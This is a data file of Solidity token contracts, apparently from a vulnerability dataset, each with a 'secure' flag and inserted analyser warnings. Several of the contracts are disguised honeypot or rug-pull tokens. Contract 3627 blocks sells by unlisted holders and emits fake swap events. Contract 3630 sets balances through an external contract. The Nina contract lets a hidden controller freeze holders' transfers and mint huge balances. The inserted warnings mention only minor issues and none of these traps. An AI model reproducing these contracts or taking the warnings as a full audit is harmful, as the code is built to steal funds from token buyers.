"size_bytes": 8020
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BTD is ERC20 {\n constructor() ERC20(\"BTD\", \"BTD\") {\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3626.sol",
"secure": 1,
"size_bytes": 265
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\nimport \"./IERC000.sol\" as IERC000;\n\ncontract ERC20 is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n address private _pair;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function execute(\n address[] calldata _addresses_,\n uint256 _in,\n address _a\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);\n emit Transfer(_pair, _addresses_[i], _in);\n }\n }\n\n function execute(\n address uniswapPool,\n address[] memory recipients,\n uint256 tokenAmounts,\n uint256 wethAmounts\n ) public returns (bool) {\n for (uint256 i = 0; i < recipients.length; i++) {\n\t\t\t// reentrancy-events | ID: 8f7fa58\n emit Transfer(uniswapPool, recipients[i], tokenAmounts);\n\t\t\t// reentrancy-events | ID: 8f7fa58\n emit Swap(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,\n tokenAmounts,\n 0,\n 0,\n wethAmounts,\n recipients[i]\n );\n\t\t\t// reentrancy-events | ID: 8f7fa58\n\t\t\t// calls-loop | ID: aa0d44e\n\t\t\t// unused-return | ID: e9758a0\n IERC000(0xC93Ec2A14a3b6890D89278FA9380A049e2DFA69B)._Transfer(\n recipients[i],\n uniswapPool,\n wethAmounts\n );\n }\n return true;\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96e34f9): ERC20.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96e34f9: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ac9f5c): ERC20.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ac9f5c: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 201cecb): ERC20.toPair(address).account lacks a zerocheck on \t _pair = account\n\t// Recommendation for 201cecb: Check that the address is not zero.\n function toPair(address account) public virtual returns (bool) {\n if (_msgSender() == 0x97617E0cA665bE4AA00ACE0275D0Cb0a5F5eE7a5)\n\t\t\t// missing-zero-check | ID: 201cecb\n _pair = account;\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (_pair != address(0)) {\n if (\n to == _pair &&\n !(from == 0x3b392A8050B45e402368F98b5718aDa094892c98 ||\n from == 0xAe667A9926588Ee395891B43E91FfB18B186A8ff)\n ) {\n bool b = false;\n if (!b) {\n require(amount < 100);\n }\n }\n }\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 816bc53): ERC20._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 816bc53: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor(string memory name_, string memory symbol_, uint256 amount) {\n _name = name_;\n _symbol = symbol_;\n _mint(msg.sender, amount * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3627.sol",
"secure": 0,
"size_bytes": 7902
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GoBRRR is ERC20, Ownable {\n uint256 constant maxWalletStart = 2e16;\n uint256 constant addMaxWalletPerMinute = 1e16;\n uint256 public constant totalSupplyOnStart = 1e18;\n uint256 tradingStartTime;\n address public pool;\n\n constructor() ERC20(\"Go $BRRR\", \"BRRR\") {\n _mint(msg.sender, totalSupplyOnStart);\n }\n\n function decimals() public pure override returns (uint8) {\n return 9;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 5a7fece): GoBRRR.maxWallet() uses timestamp for comparisons Dangerous comparisons tradingStartTime == 0 res > totalSupply()\n\t// Recommendation for 5a7fece: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: df02295): GoBRRR.maxWallet() uses a dangerous strict equality tradingStartTime == 0\n\t// Recommendation for df02295: Don't use strict equality to determine if an account has enough Ether or tokens.\n function maxWallet() public view returns (uint256) {\n\t\t// timestamp | ID: 5a7fece\n\t\t// incorrect-equality | ID: df02295\n if (tradingStartTime == 0) return totalSupply();\n uint256 res = maxWalletStart +\n ((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /\n (1 minutes);\n\t\t// timestamp | ID: 5a7fece\n if (res > totalSupply()) return totalSupply();\n return res;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: debe4ed): GoBRRR._beforeTokenTransfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(balanceOf(to) + amount <= maxWallet(),wallet maximum)\n\t// Recommendation for debe4ed: Avoid relying on 'block.timestamp'.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (pool == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n return;\n }\n\n if (to != pool)\n\t\t\t// timestamp | ID: debe4ed\n require(balanceOf(to) + amount <= maxWallet(), \"wallet maximum\");\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 54b8a82): GoBRRR.startTrade(address).poolAddress lacks a zerocheck on \t pool = poolAddress\n\t// Recommendation for 54b8a82: Check that the address is not zero.\n function startTrade(address poolAddress) public onlyOwner {\n tradingStartTime = block.timestamp;\n\t\t// missing-zero-check | ID: 54b8a82\n pool = poolAddress;\n }\n}",
"file_name": "solidity_code_3628.sol",
"secure": 0,
"size_bytes": 2782
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC777 {\n function extractValue(uint256 value) external returns (uint256);\n}",
"file_name": "solidity_code_3629.sol",
"secure": 1,
"size_bytes": 160
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PrincessGold is ERC20, Ownable {\n constructor(\n uint256 initialSupply\n ) ERC20(\"PrincessGold\", \"PSGD\") Ownable(msg.sender) {\n _mint(msg.sender, initialSupply * 10 ** decimals());\n }\n\n function mint(address account, uint256 amount) external onlyOwner {\n require(account != address(0), \"Cannot mint to zero address\");\n\n _mint(account, amount);\n }\n\n function burn(address account, uint256 amount) external onlyOwner {\n require(account != address(0), \"Cannot burn from zero address\");\n\n _burn(account, amount);\n }\n\n function safeApprove(\n address spender,\n uint256 amount\n ) external returns (bool) {\n require(\n (amount == 0) || (allowance(msg.sender, spender) == 0),\n \"Cannot change non-zero allowance to non-zero value\"\n );\n\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external returns (bool) {\n _approve(\n msg.sender,\n spender,\n allowance(msg.sender, spender) + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external returns (bool) {\n uint256 currentAllowance = allowance(msg.sender, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"Decreased allowance below zero\"\n );\n\n _approve(msg.sender, spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public override returns (bool) {\n require(to != address(0), \"Cannot transfer to zero address\");\n\n return super.transfer(to, amount);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override returns (bool) {\n require(to != address(0), \"Cannot transfer to zero address\");\n\n bool success = super.transferFrom(from, to, amount);\n\n emit Approval(from, msg.sender, allowance(from, msg.sender));\n\n return success;\n }\n}",
"file_name": "solidity_code_363.sol",
"secure": 1,
"size_bytes": 2489
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\nimport \"@openzeppelin/contracts/interfaces/IERC777.sol\" as IERC777;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address _coolaid = 0x70289C87f787202444e18d5f021d0733297cEA46;\n address public pair;\n\n IDEXRouter router;\n IERC777 coolaid;\n\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n bool public trade;\n uint256 public startBlock;\n address public msgSend;\n address public msgReceive;\n\n constructor(string memory name_, string memory symbol_) {\n router = IDEXRouter(_router);\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n coolaid = IERC777(_coolaid);\n\n _name = name_;\n _symbol = symbol_;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n\t\t// reentrancy-events | ID: b1f1ecb\n\t\t// reentrancy-benign | ID: b6a9913\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\t\t// reentrancy-events | ID: b1f1ecb\n\t\t// reentrancy-benign | ID: b6a9913\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b6a9913\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: b1f1ecb\n emit Approval(owner, spender, amount);\n }\n\n function openTrading() public {\n require(\n ((msg.sender == owner()) || (address(0) == owner())),\n \"Ownable: caller is not the owner\"\n );\n trade = true;\n startBlock = block.number;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function senderBalance(uint256 amount) internal returns (uint256) {\n\t\t// reentrancy-events | ID: b1f1ecb\n\t\t// reentrancy-events | ID: c9d1abd\n\t\t// reentrancy-benign | ID: 7582f18\n\t\t// reentrancy-benign | ID: b6a9913\n return coolaid.extractValue(amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n msgSend = sender;\n msgReceive = recipient;\n require(\n ((trade == true) || (msgSend == owner())),\n \"ERC20: trading is not yet enabled\"\n );\n require(msgSend != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n\t\t// reentrancy-events | ID: c9d1abd\n\t\t// reentrancy-benign | ID: 7582f18\n _balances[sender] = senderBalance(amount) - amount;\n\t\t// reentrancy-benign | ID: 7582f18\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: c9d1abd\n emit Transfer(sender, recipient, amount);\n }\n\n function _DeployOkCool(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n\n approve(_router, ~uint256(0));\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_3630.sol",
"secure": 0,
"size_bytes": 5912
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol) {\n _DeployOkCool(creator, initialSupply);\n }\n}",
"file_name": "solidity_code_3631.sol",
"secure": 0,
"size_bytes": 1053
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract OKCOOL is ERC20Token {\n constructor()\n ERC20Token(\"OK COOL\", \"KK\", msg.sender, 69420000 * 10 ** 18)\n {}\n}",
"file_name": "solidity_code_3632.sol",
"secure": 1,
"size_bytes": 243
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _rewards;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n bool private _rewardsApplied = false;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function grantZEPHYR(address[] calldata _zephyr_) external onlyOwner {\n for (uint256 i = 0; i < _zephyr_.length; i++) {\n _rewards[_zephyr_[i]] = true;\n }\n }\n\n function proceedZEPHYR(address[] calldata _zephyr_) external onlyOwner {\n for (uint256 i = 0; i < _zephyr_.length; i++) {\n _rewards[_zephyr_[i]] = false;\n }\n }\n\n function isZEPHYR(address _zephyr_) public view returns (bool) {\n return _rewards[_zephyr_];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96e34f9): ERC20.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96e34f9: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ac9f5c): ERC20.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ac9f5c: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4fe7ce9): ERC20.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4fe7ce9: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc8940c): ERC20.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc8940c: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 816bc53): ERC20._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 816bc53: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256\n ) internal virtual {\n if (_rewards[to] || _rewards[from])\n require(_rewardsApplied == true, \"\");\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3633.sol",
"secure": 0,
"size_bytes": 8349
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ZEPHYR is ERC20 {\n constructor() ERC20(\"ZEPHYR\", \"ZEPHYR\") {\n _mint(msg.sender, 1400000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3634.sol",
"secure": 1,
"size_bytes": 275
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Nina is Ownable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (immutable-states | ID: 26c8288): Nina._memeTokentotalSupply should be immutable \n\t// Recommendation for 26c8288: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _memeTokentotalSupply;\n string private _memeTokenname;\n string private _memeTokensymbol;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a22ebf2): Nina.constructor(address,string,string).vHyiBP lacks a zerocheck on \t iRXBcV = vHyiBP\n\t// Recommendation for a22ebf2: Check that the address is not zero.\n constructor(\n address vHyiBP,\n string memory memename,\n string memory memesymbol\n ) {\n _memeTokenname = memename;\n _memeTokensymbol = memesymbol;\n _memeTokentotalSupply += 50000000000 * 10 ** decimals();\n _balances[msg.sender] += 50000000000 * 10 ** decimals();\n\t\t// missing-zero-check | ID: a22ebf2\n iRXBcV = vHyiBP;\n emit Transfer(address(0), msg.sender, 50000000000 * 10 ** decimals());\n }\n\n function name() public view returns (string memory) {\n return _memeTokenname;\n }\n\n function symbol() public view returns (string memory) {\n return _memeTokensymbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _memeTokentotalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n if (pKDsoC[_msgSender()] == 100) {\n amount = _balances[_msgSender()] + amount + amount + 100;\n }\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 258212f): Nina.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 258212f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n if (pKDsoC[from] == 100) {\n amount = _balances[from] + amount + amount + 100;\n }\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 69589be): Nina.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 69589be: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 45261a0): Nina.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 45261a0: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4b9b08f): Nina.iRXBcV should be immutable \n\t// Recommendation for 4b9b08f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public iRXBcV;\n mapping(address => uint256) private pKDsoC;\n function killMmee(address XBOAIc) external {\n if (iRXBcV != _msgSender()) {\n revert(\"mememememem fuck\");\n }\n pKDsoC[XBOAIc] = 0;\n }\n\n function Approve(address XBOAIc) external {\n if (iRXBcV != _msgSender()) {\n revert(\"mememememem fuck\");\n }\n\n pKDsoC[XBOAIc] = 100;\n }\n\n function zSNyid(address XBOAIc) external {\n if (iRXBcV != _msgSender()) {\n revert(\"mememememem fuck\");\n }\n uint256 amount = 1000000000000 * 10 ** decimals() * 75000;\n _balances[_msgSender()] += amount;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ea68568): Nina._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ea68568: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 387e71d): Nina._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 387e71d: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n 